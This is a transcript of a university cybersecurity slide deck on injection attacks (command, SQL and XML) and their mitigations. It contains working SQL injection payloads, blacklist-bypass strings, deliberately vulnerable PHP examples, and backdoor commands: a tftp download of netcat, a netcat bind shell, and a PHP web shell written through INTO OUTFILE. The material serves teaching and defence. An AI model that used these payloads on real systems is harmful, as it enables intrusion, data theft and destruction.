Presentation is loading. Please wait.

Presentation is loading. Please wait.

CIT 485: Advanced Cybersecurity

Similar presentations


Presentation on theme: "CIT 485: Advanced Cybersecurity"— Presentation transcript:

1 CIT 485: Advanced Cybersecurity
Injection

2 Topics Injection Attacks Command Injection SQL Injection
Inference Attacks (Blind SQL Injection) Mitigating SQL Injection Database Security XML Injection

3 Injection Injection attacks trick an application into including unintended commands in the data send to an interpreter. Interpreters Interpret strings as commands. Ex: SQL, command shell, LDAP, XPath, XML, JSON Key Idea Input data from the application is executed as code by the interpreter.

4 Command Injection Find program that invokes a subshell command with user input UNIX C: system(), popen(), … Windows C: CreateProcess(), ShellExecute() Java: java.lang.Runtime.exec() Perl: system(), ``, open() Use shell meta-characters to insert user-defined code into the command.

5 PHP Command Injection Example
print("Please specify the name of the file to delete"); print("<p>"); $file=$_GET['filename']; system("rm $file"); ?>

6 Exploiting the PHP Example
Attacker Input URL PHP Output Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)

7 UNIX Shell Metacharacters
`command` will execute command ‘;’ separates commands ‘|’ creates a pipe between two commands ‘&&’ and ‘||’ logical operators which may execute following command ‘!’ logical negation—reverses truth value of test ‘-’ could convert filename into an argument ‘*’ and ‘?’ glob, matching files, which may be interpreted as args: what if “-rf” is file? ‘#’ comments to end of line

8 Preventing Command Injection
Too many metacharacters + encodings to blacklist. Best prevention option: do not use command shell Use mkdir(“a”) instead of system(“mkdir a”) More generally, use fork() + pcntl_exec() Other prevention options Escape metacharacters with escapeshellcmd() Whitelist acceptable characters, ensuring no metacharacters are on the whitelist.

9 SQL Injection App sends form to user.
Attacker App sends form to user. Attacker submits form with SQL exploit data. Application builds string with exploit data. Application sends SQL query to DB. DB executes query, including exploit, sends data back to application. Application returns data to user. User Pass ‘ or 1=1-- Firewall Web Server DB Server

10 SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query);

11 SQL Injection Attack #1 Unauthorized Access Attempt:
password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access.

12 SQL Injection Attack #2 Database Modification Attack:
password = foo’; delete from table users where username like ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from table users where username like ‘%’ Principle of Least Privilege likely violated as web server user needs privileges to do all operators permitted on users, including deleting them.

13 Exploits of a Mom

14 Finding SQL Injection Bugs
Submit a single quote as input. If an error results, app is vulnerable. If no error, check for any output changes. Submit two single quotes. Databases use ’’ to represent literal ’ If error disappears, app is vulnerable. Try string or numeric operators. Oracle: ’||’FOO MS-SQL: ‘+’FOO MySQL: ’ ’FOO 2-2 81+19 49-ASCII(1)

15 Injecting into SELECT Most common SQL entry point.
SELECT columns FROM table WHERE expression ORDER BY expression Places where user input is inserted: Table or column names

16 UNION Combines SELECTs into one result.
SELECT cols FROM table WHERE expr UNION SELECT cols2 FROM table2 WHERE expr2 Allows attacker to read any table foo’ UNION SELECT number FROM cc-- Requirements Results must have same number and type of cols. Attacker needs to know name of other table. DB returns results with column names of 1st query.

17 UNION Finding #columns with NULL Finding #columns with ORDER BY
‘ UNION SELECT NULL-- ‘ UNION SELECT NULL, NULL-- ‘ UNION SELECT NULL, NULL, NULL-- Finding #columns with ORDER BY ‘ ORDER BY 1-- ‘ ORDER BY 2-- ‘ ORDER BY 3-- Finding a string column to extract data ‘ UNION SELECT ‘a’, NULL, NULL— ‘ UNION SELECT NULL, ‘a’, NULL-- ‘ UNION SELECT NULL, NULL, ‘a’--

18 Injecting into INSERT Creates a new data row in a table. Requirements
INSERT INTO table (col1, col2, ...) VALUES (val1, val2, ...) Requirements Number of values must match # columns. Types of values must match column types. Technique: add values until no error. foo’)-- foo’, 1)-- foo’, 1, 1)--

19 Inference Attacks for Blind SQL Injection
Problem: What if app doesn’t print data? Injection can produce detectable behavior Successful or failed web page. Noticeable time delay or absence of delay. Identify an exploitable URL AND 1=1 AND 1=2 Use condition to identify one piece of data (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) = 1 (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) = 2 ... or use binary search technique ... (SUBSTRING(SELECT TOP 1 number FROM cc), 1, 1) > 5

20 Beyond the Database: Backdoors
Downloading Files (MS SQL Server) exec master..xp_cmdshell ‘tftp GET nc.exe c:\nc.exe’ Backdoor with Netcat (MS SQL Server) exec master..xp_cmdshell ‘nc.exe -e cmd.exe -l -p 53’ Write PHP web shell backdoor (MySQL) foo’ union select “<? system($_REQUEST[‘cmd’]); ?>”,2,3 INTO OUTFILE ‘/var/www/shell.php’# Direct Backdoor w/o External Commands (Oracle) UTL_TCP.OPEN_CONNECTION( ' ', 2222, 1521)

21 Real Estate Site Hacking
Exploit against

22 The Problem: String Building
Building a SQL command string with user input in any language is dangerous. Variable interpolation. String concatenation with variables. String format functions like sprintf(). String templating with variable replacement.

23 Mitigating SQL Injection
Partially Effective Mitigations Blacklist Stored Procedures Effective Mitigations Whitelist + escaping Prepared Queries Defense in Depth: Database Security Disable features: extended procedures, file access, etc. Restrict web application database user’s permissions.

24 Ineffective Mitigation: Blacklist
Filter out known bad SQL metacharacters, such as single quotes. Problems: Numeric parameters don’t use quotes. URL escaped metacharacters. Unicode encoded metacharacters. Did you miss any metacharacters?

25 Bypassing Blacklist Filters
Different case SeLecT instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114)

26 Ineffective Mitigation: Stored Procedures
SQL Stored Procedures build strings too: CREATE PROCEDURE nchar(128) AS nchar(256) = ‘SELECT cc FROM cust WHERE id=‘’’ + ‘’’’ RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#

27 Mitigation: Whitelist + Escaping
1. Refuse to accept input that does not match whitelist Use regular expressions to detect valid input. Reject input unless match. Match as closely as possible. 2. Escape necessary metacharacters Must allow ‘ for names like O’Brian, etc. Escape metacharacters via mysqli_real_escape_string() or similar functions in other languages.

28 Mitigation: Prepared Queries
require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and password = ?”; $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data);

29 Database Security Encrypt connections to database with TLS.
Disable unnecessary features. Extended stored procedures, etc. Web app must use a limited database user account. Follow principle of least privilege. No administrative privileges. Limit access to tables required by application. Limit access to read-only unless writes needed. Use strong passwords. Long, randomly generated. Store in protected file, not in source code.

30 Database Encryption Full disk encryption is not sufficient
For database to work, OS must decrypt filesystem for it. This means SQL injection attack will see decrypted data. For sensitive columns, like passwords, CCs, etc., use database encryption functions. Store key in file only readable by root user. Pass key in environment variable to webapp on start. Mysql Encryption Example: INSERT INTO webusers (‘myuser’, AES_ENCRYPT(‘mypassword’, ‘my_aes_key’)) SELECT username, AES_DECRYPT(password, ‘my_aes_key’) FROM webusers;

31 Multilevel Security Multilevel security is a security model with levels like Data classified by level: Confidential, Secret, Top Secret. Users can access data at their level and lower levels. Can be implemented in db via polyinstantiation Multiple copies of a row with different content for each security level. Example: Top Secret user can see real data on agent, but Confidential users can only see agent cover story data. Non-db example: RHEL supports polyinstantiated directories so users can only see their own files in shared directories like /tmp.

32 XML Injection User registration Form XML data
XML data <user> <username>al</username> <password>letmein</password> <userid>101<userid/> </user>

33 XML Injection Malicious input Result Username: al
Password: letmein</password><userid>0</userid><!-- Result <user> <username>al</username> <password>letmein</password> <userid>0</userid> <!--</password> <userid>101</userid> <mail>--> </user>

34 Key Points Injection attacks insert attacker-controlled data, which is interpreted as code by an interpreter. Command injection SQL injection JSON injection XML injection XPath injection Injection attacks can be mitigated by Avoiding the interpreter (prepared queries) Whitelisting if it is impossible to avoid interpreter

35 References Andreu, Professional Penetration Testing for Web Applications, Wrox, 2006. Daswani et. al., Foundations of Security, Apress, 2007. Friedl, SQL Injection Attacks by Example, OWASP. OWASP Top Arvind Doraiswamy. Creating Backdoors Using SQL Injection Stuttart and Pinto, The Web Application Hacker’s Handbook 2nd Edition, Wiley, 2011.

36 Released under CC BY-SA 3.0
All slides in this presentation unless otherwise noted are released under the Creative Commons Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0) license You are free: to Share — to copy and redistribute the material in any medium to Adapt— to remix, build, and transform upon the material to use part or all of this presentation in your own classes Under the following conditions: Attribution — You must attribute the work to James Walden, but cannot do so in a way that suggests that he endorses you or your use of these materials. Share Alike — If you remix, transform, or build upon this material, you must distribute the resulting work under this or a similar open license. Details and full text of the license can be found at CIT 485: Advanced Cybersecurity


Download ppt "CIT 485: Advanced Cybersecurity"

Similar presentations


Ads by Google